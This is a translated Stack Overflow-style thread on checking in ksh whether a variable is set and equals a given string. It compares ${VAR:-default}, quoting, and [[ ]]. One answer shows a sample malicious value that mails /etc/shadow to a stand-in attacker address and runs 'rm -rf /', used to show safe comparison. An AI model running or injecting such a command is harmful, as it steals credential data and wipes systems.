【问题标题】:Checking a variable is set and value in ksh检查变量是否在 ksh 中设置和值
【发布时间】:2012-01-09 17:44:54
【问题描述】:

我有一个接受用户输入的脚本,REFRESH 选项是可选的。我需要测试 $REFRESH 是否存在并且等于字符串“REFRESH”,如果它运行特定的代码块。

用户会执行

./export_data.sh <user> <type> [REFRESH]

如果我在 PHP 中执行此操作,我只需使用 isset() 函数,ksh 中是否存在等效函数?

我尝试了以下方法,但在第二次测试中失败了 $REFRESH 未设置:

if [ -n $REFRESH ] && [ $REFRESH == "REFRESH" ]
then
    echo "variable is set and the expected value";
    # do stuff
fi

我能想到的唯一其他方法是嵌套 if 但这看起来很乱:

if [ -n $REFRESH ]
then
    if [ $REFRESH == "REFRESH" ]
    then
        echo "variable is set and the expected value";
        # do stuff
fi

有没有更好的方法来做到这一点?

【问题讨论】:

    标签: shell ksh


    【解决方案1】:
    if [ "${REFRESH:-unset}" = "REFRESH" ]
    then ...
    

    如果$REFRESH 中没有值或者该值是空字符串,这将替换unset。无论哪种方式,它都与“REFRESH”不同,因此它的行为符合要求。

    测试变量时,用双引号括起来;它可以节省焦虑。事实上,这意味着你可以简单地写:

    if [ "$REFRESH" = "REFRESH" ]
    then ...
    

    【讨论】:

    • 不应该是if [ "${REFRESH:-unset}" != "unset" ]吗?
    • 没有。从问题:我需要测试看看 $REFRESH 是否存在并且等于字符串“REFRESH”
    • 确实如此。确实有两个问题,一个是您的回复没有直接解决的明确问题,另一个可能是真正的隐含问题。无论如何我都会回答另一个。
    • '已经接受了乔纳森的回答,因为它涵盖了我的两个问题。回过头来用新的眼光查看我的脚本后,我发现我没有将变量 $REFRESH 括在引号中(现在已修复)。该脚本现在可以按我的意愿工作。但是,替代值的解决方案将来会派上用场。我没有足够的代表投票给答案,否则两者都会得到 +1。
    【解决方案2】:

    我会对乔纳森的回复发表评论,但我在这里太陌生了,无法信任这些事情。

    无论如何,如果您想在 ksh 中避免焦虑,请不要使用旧版 Bourne shell [ ]。相反,请使用 [[ ]]。

    if [[ $REFRESH == REFRESH ]]; then
    

    这将始终按照您想要的方式进行评估。即使在 if 语句之前发生了以下任何情况。

    REFRESH=''
    REFRESH=' REFRESH'
    REFRESH='`mailx -s "good stuff" hacker@example.com < /etc/shadow`;  sleep 5; rm -rf /`'
    

    要注意的是右手边,如果它是一个变量或字符串,除了简单的字符串比较之外,它还可以被评估。考虑这些:

    $ val='@(foo|REFRESH)'
    $ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match
    match
    $ REFRESH=foo; [[ $REFRESH == $val ]] && echo match
    match
    $ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match
    $ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match
    $
    

    在这里我们看到,在使用 [[ ]] 时,引用 RHS 比引用 LHS 更重要。此外,这表明 [[ ]] 允许使用模式和模式列表进行更强大的匹配。

    【讨论】:

      【解决方案3】:

      回答那个具体问题:

      如果我在 PHP 中执行此操作,我只需使用 isset() 函数,ksh 中是否存在等效函数?

      if [ "${REFRESH:-unset}" != unset ]
      

      【讨论】:

        【解决方案4】:

        顺便说一句,在我看来,测试变量是否设置的最好(因为是最简单的)方法是:

        if [ "$PIPPO" ] ; then  
           echo "Set"  
        fi
        

        if [ ! "$PIPPO" ] ; then  
           echo "Not Set"  
        fi
        

        【讨论】:

          猜你喜欢
          • 2014-09-15
          • 2021-04-28
          • 1970-01-01
          • 2013-06-04
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 2011-04-05
          相关资源
          最近更新 更多